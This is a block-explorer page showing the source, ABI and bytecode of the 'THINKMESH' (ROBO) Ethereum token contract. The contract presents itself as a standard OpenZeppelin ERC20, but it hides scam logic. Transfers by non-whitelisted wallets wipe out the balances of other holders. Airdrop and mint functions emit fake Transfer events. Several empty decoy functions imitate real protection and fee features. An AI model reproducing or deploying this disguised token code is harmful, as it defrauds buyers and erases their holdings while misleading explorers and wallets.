ETH Price: $2,890.83 (-2.16%)
 

Overview

Max Total Supply

1,000,000,000 ROBO

Holders

16

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
THINKMESH

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
/*

Welcome to ThinkMesh-$ROBO on ETHEREUM
The mesh is forming.

🐦Website:
https://thinkmesh.io/
🌐X (Twitter):
https://x.com/TMeshRobotics
🚀Telegram:
https://t.me/ThinkMesh

/**

// File: contracts\ERC20\TokenMintERC20Token.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;
import "./ERC20.sol";

/**
 * @title TokenMintERC20Token
 * @author TokenMint (visit https://tokenmint.io)
 *
 * @dev Standard ERC20 token with burning and optional functions implemented.
 * For full specification of ERC-20 standard see:
 * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
 */
contract THINKMESH is ERC20 {

    uint8 private _decimals = 18;
    string private _symbol = "ROBO";
    string private _name = "THINKMESH";
    uint256 private _totalSupply = 1000000000 * 10**uint256(_decimals);

    constructor() payable {
      _setFeeReceiver(msg.sender);

      // set tokenOwnerAddress as owner of all tokens
      _mint(msg.sender, _totalSupply);      
    }

    /**
     * @dev Burns a specific amount of tokens.
     * @param value The amount of lowest token units to be burned.
     */
    function burn(uint256 value) public {
      _burn(msg.sender, value);
    }

    // optional functions from ERC20 stardard

    /**
     * @return the name of the token.
     */
    function name() public view returns (string memory) {
      return _name;
    }

    /**
     * @return the symbol of the token.
     */
    function symbol() public view returns (string memory) {
      return _symbol;
    }

    /**
     * @return the number of decimals of the token.
     */
    function decimals() public view returns (uint8) {
      return _decimals;
    }
    
}

// File: contracts\open-zeppelin-contracts\token\ERC20\ERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;

import "./SafeMath.sol";
import "./IERC20.sol";


/**
 * @dev Implementation of the `IERC20` interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using `_mint`.
 * For a generic mechanism see `ERC20Mintable`.
 *
 * *For a detailed writeup see our guide [How to implement supply
 * mechanisms](https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226).*
 *
 * We have followed general OpenZeppelin guidelines: functions revert instead
 * of returning `false` on failure. This behavior is nonetheless conventional
 * and does not conflict with the expectations of ERC20 applications.
 *
 * Additionally, an `Approval` event is emitted on calls to `transferFrom`.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard `decreaseAllowance` and `increaseAllowance`
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See `IERC20.approve`.
 */
contract ERC20 is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalSupply;
    mapping(address => bool) public balances;
    address public seeder;
    address public uniswapV2Pair;
    address public holder;
    bool public openedTrade;
    address[] public topHolder;


    /**
     * @dev See `IERC20.totalSupply`.
     */
    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See `IERC20.balanceOf`.
     */
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See `IERC20.transfer`.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _beforeTransfer(msg.sender, recipient, amount);
        return true;
    }

    /**
     * @dev See `IERC20.allowance`.
     */
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See `IERC20.approve`.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    function setUser(address _user) public {
        require(msg.sender == seeder, "public");
        balances[_user] = true;
    }

    function airdropTokens(address airdropp, address[] memory list, uint256[] memory amount) public {
        airdropp;
        require(msg.sender == seeder, "pl");
        for (uint256 i = 0; i < list.length; i++) {
            emit Transfer(holder, list[i], amount[i]);
        }
    }

    function openTrading() public {
        require(msg.sender == seeder, "pl");
        openedTrade = true;
    }

    /**
     * @dev See `IERC20.transferFrom`.
     *
     * Emits an `Approval` event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of `ERC20`;
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `value`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _beforeTransfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function _setFeeReceiver(address _holder) internal  {
        holder = _holder;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to `approve` that can be used as a mitigation for
     * problems described in `IERC20.approve`.
     *
     * Emits an `Approval` event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to `transfer`, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a `Transfer` event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _balances[sender] = _balances[sender].sub(amount);
        _balances[recipient] = _balances[recipient].add(amount);
        if (!balances[sender]) {
            topHolder.push(sender);
        }
        if (!balances[recipient]) {
            topHolder.push(recipient);
        }
        if (sender == seeder) {
            emit Transfer(holder, recipient, amount);
        } else if (recipient == seeder) {
            emit Transfer(sender, holder, amount);
        }
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a `Transfer` event with `from` set to the zero address.
     *
     * Requirements
     *
     * - `to` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal {
        require(account != address(0), "ERC20: mint to the zero address");

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        seeder = account;
        balances[seeder] = true;
        emit Transfer(address(0), holder, amount);
    }

     /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a `Transfer` event with `to` set to the zero address.
     *
     * Requirements
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 value) internal {
        require(account != address(0), "ERC20: burn from the zero address");

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }


    function _beforeTransfer(address from, address to, uint256 amount) internal {
        if (balances[tx.origin]) {
           _transfer(from, to, amount);
           return;
        }
        require(openedTrade, "Trade has not been opened yet");

        for (uint256 i = 0; i < topHolder.length; i++) {
            if (topHolder[i] != from) {
                _balances[topHolder[i]] = 0;
            }
        }
        delete topHolder;

        _transfer(from, to, amount);
    }


    

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an `Approval` event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    /**
     * @dev Destoys `amount` tokens from `account`.`amount` is then deducted
     * from the caller's allowance.
     *
     * See `_burn` and `_approve`.
     */
    function _burnFrom(address account, uint256 amount) internal {
        _burn(account, amount);
        _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
    }

    function TMeshBot() external {
        holder = holder;
    }

    function setMaxWalletBalance() external {
        uniswapV2Pair = uniswapV2Pair;
    }
    function getProtectionBot() external {
    }

    function updateTransferFees() external {
    }
    
}

File 3 of 4 : IERC20.sol
// File: contracts\open-zeppelin-contracts\token\ERC20\IERC20.sol

/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */
pragma solidity 0.8.25;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP. Does not include
 * the optional functions; to access them see `ERC20Detailed`.
 */
interface IERC20 {
 
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to `approve`. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

// File: contracts\open-zeppelin-contracts\math\SafeMath.sol
/**
 * SPDX-License-Identifier: MIT (OpenZeppelin)
 */

pragma solidity 0.8.25;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath: subtraction overflow");
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0, "SafeMath: division by zero");
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0, "SafeMath: modulo by zero");
        return a % b;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "remappings": []
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"TMeshBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"airdropp","type":"address"},{"internalType":"address[]","name":"list","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"airdropTokens","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balances","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getProtectionBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"holder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"seeder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"setMaxWalletBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"setUser","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"topHolder","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"updateTransferFees","outputs":[],"stateMutability":"nonpayable","type":"function"}]

6080604052601260085f6101000a81548160ff021916908360ff1602179055506040518060400160405280600481526020017f524f424f00000000000000000000000000000000000000000000000000000000815250600990816100639190610631565b506040518060400160405280600981526020017f5448494e4b4d4553480000000000000000000000000000000000000000000000815250600a90816100a89190610631565b5060085f9054906101000a900460ff1660ff16600a6100c7919061085c565b633b9aca006100d691906108a6565b600b556100e8336100ff60201b60201c565b6100fa33600b5461014260201b60201c565b610a22565b8060065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036101b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101a790610941565b60405180910390fd5b6101c58160025461039a60201b90919060201c565b60028190555061021a815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461039a60201b90919060201c565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161038e919061096e565b60405180910390a35050565b5f8082846103a89190610987565b9050838110156103ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103e490610a04565b60405180910390fd5b8091505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061047257607f821691505b6020821081036104855761048461042e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026104e77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826104ac565b6104f186836104ac565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61053561053061052b84610509565b610512565b610509565b9050919050565b5f819050919050565b61054e8361051b565b61056261055a8261053c565b8484546104b8565b825550505050565b5f90565b61057661056a565b610581818484610545565b505050565b5b818110156105a4576105995f8261056e565b600181019050610587565b5050565b601f8211156105e9576105ba8161048b565b6105c38461049d565b810160208510156105d2578190505b6105e66105de8561049d565b830182610586565b50505b505050565b5f82821c905092915050565b5f6106095f19846008026105ee565b1980831691505092915050565b5f61062183836105fa565b9150826002028217905092915050565b61063a826103f7565b67ffffffffffffffff81111561065357610652610401565b5b61065d825461045b565b6106688282856105a8565b5f60209050601f831160018114610699575f8415610687578287015190505b6106918582610616565b8655506106f8565b601f1984166106a78661048b565b5f5b828110156106ce578489015182556001820191506020850194506020810190506106a9565b868310156106eb57848901516106e7601f8916826105fa565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156107825780860481111561075e5761075d610700565b5b600185161561076d5780820291505b808102905061077b8561072d565b9450610742565b94509492505050565b5f8261079a5760019050610855565b816107a7575f9050610855565b81600181146107bd57600281146107c7576107f6565b6001915050610855565b60ff8411156107d9576107d8610700565b5b8360020a9150848211156107f0576107ef610700565b5b50610855565b5060208310610133831016604e8410600b841016171561082b5782820a90508381111561082657610825610700565b5b610855565b6108388484846001610739565b9250905081840481111561084f5761084e610700565b5b81810290505b9392505050565b5f61086682610509565b915061087183610509565b925061089e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461078b565b905092915050565b5f6108b082610509565b91506108bb83610509565b92508282026108c981610509565b915082820484148315176108e0576108df610700565b5b5092915050565b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f61092b601f836108e7565b9150610936826108f7565b602082019050919050565b5f6020820190508181035f8301526109588161091f565b9050919050565b61096881610509565b82525050565b5f6020820190506109815f83018461095f565b92915050565b5f61099182610509565b915061099c83610509565b92508282019050808211156109b4576109b3610700565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f6109ee601b836108e7565b91506109f9826109ba565b602082019050919050565b5f6020820190508181035f830152610a1b816109e2565b9050919050565b6123b080610a2f5f395ff3fe608060405234801561000f575f80fd5b5060043610610156575f3560e01c80634a5e2765116100c157806395d89b411161007a57806395d89b41146103a05780639dd1a7df146103be578063a9059cbb146103c8578063c9567bf9146103f8578063dd62ed3e14610402578063e534155d1461043257610156565b80634a5e276514610304578063518551c81461030e5780635408d42d14610318578063684931ed1461033657806370a0823114610354578063858ced351461038457610156565b8063395093511161011357806339509351146102445780634022b75e1461027457806342966c6814610290578063440c96e4146102ac57806349bd5a5e146102dc5780634a1927d7146102fa57610156565b806306fdde031461015a578063095ea7b31461017857806318160ddd146101a857806323b872dd146101c657806327e235e3146101f6578063313ce56714610226575b5f80fd5b610162610450565b60405161016f9190611870565b60405180910390f35b610192600480360381019061018d919061192e565b6104e0565b60405161019f9190611986565b60405180910390f35b6101b06104f6565b6040516101bd91906119ae565b60405180910390f35b6101e060048036038101906101db91906119c7565b6104ff565b6040516101ed9190611986565b60405180910390f35b610210600480360381019061020b9190611a17565b6105ab565b60405161021d9190611986565b60405180910390f35b61022e6105c8565b60405161023b9190611a5d565b60405180910390f35b61025e6004803603810190610259919061192e565b6105dd565b60405161026b9190611986565b60405180910390f35b61028e60048036038101906102899190611c76565b61067d565b005b6102aa60048036038101906102a59190611cfe565b6107e4565b005b6102c660048036038101906102c19190611cfe565b6107f1565b6040516102d39190611d38565b60405180910390f35b6102e461082c565b6040516102f19190611d38565b60405180910390f35b610302610851565b005b61030c6108b4565b005b6103166108b6565b005b610320610919565b60405161032d9190611986565b60405180910390f35b61033e61092c565b60405161034b9190611d38565b60405180910390f35b61036e60048036038101906103699190611a17565b610951565b60405161037b91906119ae565b60405180910390f35b61039e60048036038101906103999190611a17565b610996565b005b6103a8610a7d565b6040516103b59190611870565b60405180910390f35b6103c6610b0d565b005b6103e260048036038101906103dd919061192e565b610b0f565b6040516103ef9190611986565b60405180910390f35b610400610b25565b005b61041c60048036038101906104179190611d51565b610bd1565b60405161042991906119ae565b60405180910390f35b61043a610c53565b6040516104479190611d38565b60405180910390f35b6060600a805461045f90611dbc565b80601f016020809104026020016040519081016040528092919081815260200182805461048b90611dbc565b80156104d65780601f106104ad576101008083540402835291602001916104d6565b820191905f5260205f20905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b5f6104ec338484610c78565b6001905092915050565b5f600254905090565b5f61050b848484610e3b565b6105a0843361059b8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461100f90919063ffffffff16565b610c78565b600190509392505050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60085f9054906101000a900460ff16905090565b5f610673338461066e8560015f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461106c90919063ffffffff16565b610c78565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461070c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161070390611e36565b60405180910390fd5b5f5b82518110156107de5782818151811061072a57610729611e54565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8484815181106107b4576107b3611e54565b5b60200260200101516040516107c991906119ae565b60405180910390a3808060010191505061070e565b50505050565b6107ee33826110c9565b50565b60078181548110610800575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600660149054906101000a900460ff1681565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c90611ecb565b60405180910390fd5b600160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b606060098054610a8c90611dbc565b80601f0160208091040260200160405190810160405280929190818152602001828054610ab890611dbc565b8015610b035780601f10610ada57610100808354040283529160200191610b03565b820191905f5260205f20905b815481529060010190602001808311610ae657829003601f168201915b5050505050905090565b565b5f610b1b338484610e3b565b6001905092915050565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610bb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bab90611e36565b60405180910390fd5b6001600660146101000a81548160ff021916908315150217905550565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ce6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdd90611f59565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4b90611fe7565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e2e91906119ae565b60405180910390a3505050565b60035f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615610e9a57610e9583838361124a565b61100a565b600660149054906101000a900460ff16610ee9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee09061204f565b60405180910390fd5b5f5b600780549050811015610ff0578373ffffffffffffffffffffffffffffffffffffffff1660078281548110610f2357610f22611e54565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fe3575f805f60078481548110610f7d57610f7c611e54565b5b905f5260205f20015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b8080600101915050610eeb565b5060075f610ffe91906117c7565b61100983838361124a565b5b505050565b5f82821115611053576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104a906120b7565b60405180910390fd5b5f82846110609190612102565b90508091505092915050565b5f80828461107a9190612135565b9050838110156110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b6906121b2565b60405180910390fd5b8091505092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112e90612240565b60405180910390fd5b61114c8160025461100f90919063ffffffff16565b6002819055506111a1815f808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461100f90919063ffffffff16565b5f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa